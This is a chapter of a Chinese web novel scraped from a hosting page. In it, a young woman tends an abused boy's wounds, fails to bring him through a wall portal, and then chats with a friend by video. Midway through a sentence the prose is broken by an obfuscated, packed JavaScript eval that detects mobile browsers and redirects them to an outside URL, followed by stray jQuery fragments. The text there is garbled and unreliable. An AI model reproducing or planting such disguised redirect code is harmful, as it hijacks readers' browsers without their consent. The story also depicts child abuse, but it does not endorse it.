默认冷灰
24号文字
方正启体

9. 投喂九次

作者:杏帘客本书字数:K更新时间:
    下一秒——


    外面炎热的气息扑面而来,睁开眼,密林、水塘、菜地……


    他出现在了墙的另一边。


    居然只是穿过家里的墙而已。


    回过头,墙外完好如初,没有黑洞口,他又从正门进去,内墙上的洞口还在,安静地立在那。


    仿佛在无声嘲讽他的异想天开。


    是了,他只是一介凡人,怎能想随着仙女走?


    极乐仙界,他曾跟官宦贵人说过多次,那里是不存在的,凡人无论如何都抵达不了的。


    他也落不了俗。


    噔噔噔——


    洞口传来脚步声,邓惜白头皮发麻,缓慢地移动眼珠,不抱有希望地直勾勾地往里看。


    仙女两只手拿满了东西,像是跑过来的。


    邓惜白大脑停住,一瞬间他像是脊柱被抽走,整个人仿佛被操纵了一般。


    气血上涌,他身随心动,张开双臂上前,将她抱了个满怀。


    水鹤后背被汗水湿透,小孩一扑,她一屁股坐在台阶上。


    她不敢松手,吸尘器和药箱还夹得紧紧的,水鹤的臀部似乎是要散架了。


    邓惜白立刻站直,红着脸向后退了几步,眼看着就要踩到瓷片上,水鹤立刻丢下手里的东西,又给他扯回来。


    她重重叹了一口气,一下下动作轻柔地给他用医用棉吸走他手背上的血迹。


    没有等到想象中的打骂,邓惜白鼻头一酸,滚烫的泪水像是决堤一样倾泄而出。


    “对不起仙女姐姐,我……”他哽咽起来,“我还以为你不会再来看我了。”


    水鹤摇摇头,指了指行军床,邓惜白踌躇着走过去。


    伤口不深,他根本就没当回事,但又害怕因为他的不听话而再次伤害到仙女姐姐。


    水鹤戴上了劳保手套,先把大的瓷片捡到垃圾桶里,再给吸尘器通上电,把地上每个边边角角都吸了一遍。


    家里都是扫地机器人做家务,她很少自己动手,吸尘器买来后今天才是正儿八经第一次用。


    水鹤用手扇了扇风,邓惜白小心翼翼地靠近她,布满伤口的一双手捧着一杯冷茶。


    他的脸上长了一些肉,面色红润了不少,修长的眉毛更黑了一些,头发枯黄,再养养的话,不敢想象长大后会有多漂亮。


    小孩竟然一颗痣都没有,水鹤脸上还有几颗小黑痣呢,真是羡慕。


    不过他为什么总是这么怕自己?水鹤觉得她已经非常温柔了。


    咽下一口凉茶,一股凉意经过喉咙腹腔,浑身舒畅,就连周围的温度似乎都变低了,她低头一看,原是小孩将空调扇搬过来对着她吹。


    他的伤口已经不再流血,水鹤打开自己的药箱给他消毒贴上创口贴。


    小孩这次倒是老实,水鹤将他的衣袖卷上去,上面大大小小、青青紫紫的伤口显露了出来。


    直到现在她才知道,为什么小孩大夏天还要穿长衣长裤。


    看他的样子似乎还想遮,水鹤没管他,又掀开裤脚。


    这上面的伤口更新,划痕淤青交错,有一块甚至发黑了。


    她拿出喷的药剂,眼神怜悯地看了他一眼,在伤处揉了揉,邓惜白立刻别过脸去,疼得龇牙咧嘴,但到底没有吭一声。


    早上他还能活蹦乱跳地出去捕鱼,想必没有伤到骨头。


    这个孩子性子软,又瘦又小,一看就是会被欺负的样子。


    她根本不忍心去想象他被欺凌的场景,可那些臆想的片段又止不住钻进脑子里。


    水鹤把目光移到邓惜白的脸上,拿起阅读器,她写下:


    带我去找欺负你的人。


    邓惜白在看到前几个字的时候就已经猜到她要说什么了。


    仙女姐姐不知道不被允许离开这座山,当然,他也不想让仙女姐姐跟那群人碰面。


    仙女姐姐太善良,不知人心险恶,那群贼人一定会对她做尽坏事的。


    怎么可以?


    想到这里,他死死抿紧嘴,冷汗涔涔顺着脊背流。


    一大一小就这样无声对峙着不知道过了多久,水鹤第一次有种,她是不是不该管这么多闲事的感觉?


    一瞬间,尘封的记忆互相牵连起来,她忽然想起自己年幼的时候。


    当时酗酒的母亲和欠债消失得无影无踪的父亲,似乎都跟自己说了一句类似的话。


    跟随拳脚落下的,“谁想管你?死缠烂打的,像你那个死鬼爸!一点都不像我们家里人。”


    几百通电话才能联系到的,“爸爸跟你保证,这是爸爸最后一次出去,一定会接你回来,不会不管你的。”


    头痛难忍,额角的那根筋又开始折磨人,疲惫感后知后觉涌上来,水鹤缓缓吐出一口浊气,她撑着膝盖站起来。


    看到她这幅样子,邓惜白警铃大作,闭着眼睛,哆哆嗦嗦把自己昨天晚上做的事情一五一十地说了出来。


    害怕让仙女姐姐知道自己不堪的一面,可他更不想让她不开心。


    水鹤皱着眉,完全听不明白,直到邓惜白重现当时的场景。


    硬纸板内圈印有大片红色的广告,灯一打开,满屋红光,倒像是有点唬人的气氛,现在还是白天,晚上的氛围应该更甚。


    这个小子还真有一点天赋,水鹤不由得投去赞许的目光。


    她继续写:他们是什么人,为什么要欺负你?


    “……可能是山贼吧?我也不太清楚。”


    他去水缸那边舀水洗了手,边说边剥橘子,经常干活早早生出茧子的指尖染上了橙色的汁水。


    就这样简单的一个动作,看似轻如鸿毛,却重重落在了她的心口。


    他没有说是给她的,但水鹤就是知道,这是给她剥的。


    说来有点矫情,她此刻在意的事情有点难以启齿。那就是从来都没有人给她剥过橘子,更别说连橘络都细心摘除。


    她如今确实有钱,感情的缺口却永远留在那里。按照常理来说,有了钱的人是不配说自己的痛苦,她也一直这样以为,于是从来不说。


    小孩侧对着她,伤口还大喇喇地留在手上,却丝毫不妨碍他做事。水鹤深深地看着他,与其继续把小孩留在这里,不如将他带回现代,之后的事情留给明天去烦恼。理智的那根弦断裂,她想做的事情从来都是即刻就做。


    她一把抓住小孩的手臂,拉着他走到洞口。


    既然爵士和旺旺都可以过来,那么小孩应该也是可以的。


    转变得太快,邓惜白知道仙女一向雷厉风行,橘子瓣还在手里,他心跳如鼓,难道仙女终于决定要用她的法力带自己去仙界了吗?


    她牵着他走进去,视野变暗,两人的身影消失在了洞口里,可迈向第二步的时候,两人同时脚下一空。


    邓惜白在那一瞬间抓紧了她的手心,等他睁开眼睛看清一切的时候,又悄悄松开。


    他喃喃道:“果然还是不行。”


    水鹤回头看他,眼底带着疑问。


    邓惜白扣着手,“我今天跟着你进去了,但是结果跟现在一样。”


    担心姐姐会多想,邓惜白又补充,“我当时什么都没想,也没有别的意思,就是怕你再也不来了。”


    水鹤垂眸看他,如果不把他带走,那么她再也不来是肯定的,就在未来的某一天。


    但他还太


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501469|202759||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小,水鹤不打算跟他说这种事情,告别的事还是能延长就延长吧。


    她开始琢磨别的办法:把他放进小推车推、抱着他、摸着电线过去、她自己先站在通道里再去抱他……


    直到外面太阳落山,她都没能找出带他走的办法。


    邓惜白一开始是郁闷的,但看着仙女姐姐大汗淋漓地又是抱着自己又是牵着自己手的时候,他开始不再遗憾这件事并且可耻地觉得很开心。


    今天是他们待在一起最久的一天。


    即使不能去仙界,有仙女姐姐陪他,就足够开心了。


    ……


    水鹤躺在床上跟宋鹿打视频。


    宋鹿虽然和她男友邵正熙都在国外上大学,但每天都要给她发发消息打打视频。


    “我的心水,你怎么瘦了这么多?”


    只是两天没打视频而已,水鹤有点招架不住她的甜言蜜语。


    “有事说事,无事别献殷勤。”


    宋鹿嘿嘿两声,冲着她双手抱拳,露出一副可怜兮兮的模样。


    “真是瞒不过你,我不是说下个月去找你玩吗?可能要放你鸽子了,家里的公司出了一点问题,我可能要提前处理分家产的事情,会非常忙。”


    水鹤回忆了一下,宋鹿家是靠她母族打拼出来的,但她母亲去世得早,父亲又再婚了好几次,公司股权属于她的那份早就被瓜分得差不多。


    这些年宋鹿也没什么宏大的想法,她什么靠山都没有,又不能像小说里的女主一样打个翻身仗,拿回属于自己的一切,她混完高中之后,就只想去国外镀个金。


    于是就去了学霸男友同一个城市的隔壁学校。


    再说回水鹤的父亲,他花天酒地半生,终于在不到五十岁的时候就得了癌症晚期,现在估计是状况不太好了。


    水鹤默默听着,脑子里慢慢盘算。


    她未来的打算可以早点开始做,她或许也可以开一家公司,跟爷爷的实验室挂钩,这样就能一肩两挑。


    “……还有啊,我听邵正熙说,他堂哥家里开始催婚了。”


    邵正熙跟邵正弦是没有血缘关系的堂兄弟。


    邵正熙是随着母亲改嫁过来的,姓名也在男方家里的要求下随之改了。


    水鹤还没开口,宋鹿又开始抱歉道:“现在跟你说有马后炮的嫌疑,你们都在一起了,我还跟你说这些,我怎么感觉给你找了个麻烦呢?”


    水鹤知道她是什么性格,自然是不会在意,但毕竟是好朋友的亲表哥,自己的现男友,水鹤斟酌着用语。


    “他被催婚是他的事情,我被催婚是我的事情,各管各的就好。”


    “喂,你们是一对儿啊,关于这种问题怎么这么冷淡?”


    水鹤仔细思考一番,认真道:“可能我对亲密关系有抵触吧。”


    “别给自己设限,你跟我有抵触吗?”


    既然都聊到这里,宋鹿又抓着她问。


    “怎么样,是不是已经吃到了?”


    水鹤不喜欢跟姐妹聊这些,有点在熟人面前聊size的尴尬。


    “不要对别人的私事太关注好不好?”


    “好不好?”宋鹿在屏幕那边故意学她说话的样子,欠儿欠儿的,“我是你的开蒙老师,当然要问问你的学业成果了!”


    水鹤终于被逗笑,笑容比蜜都甜,“从来不写作业的人,还能当老师,请问您在哪里就职?”


    “为师领你来到一个这么美好的世界,你就这样回报我吗?”


    “要不要我帮你回忆回忆?”宋鹿拿着手机走进浴室,关上门,“在课间走廊我压着邵正熙亲嘴又……的时候,你不就在旁边偷看吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)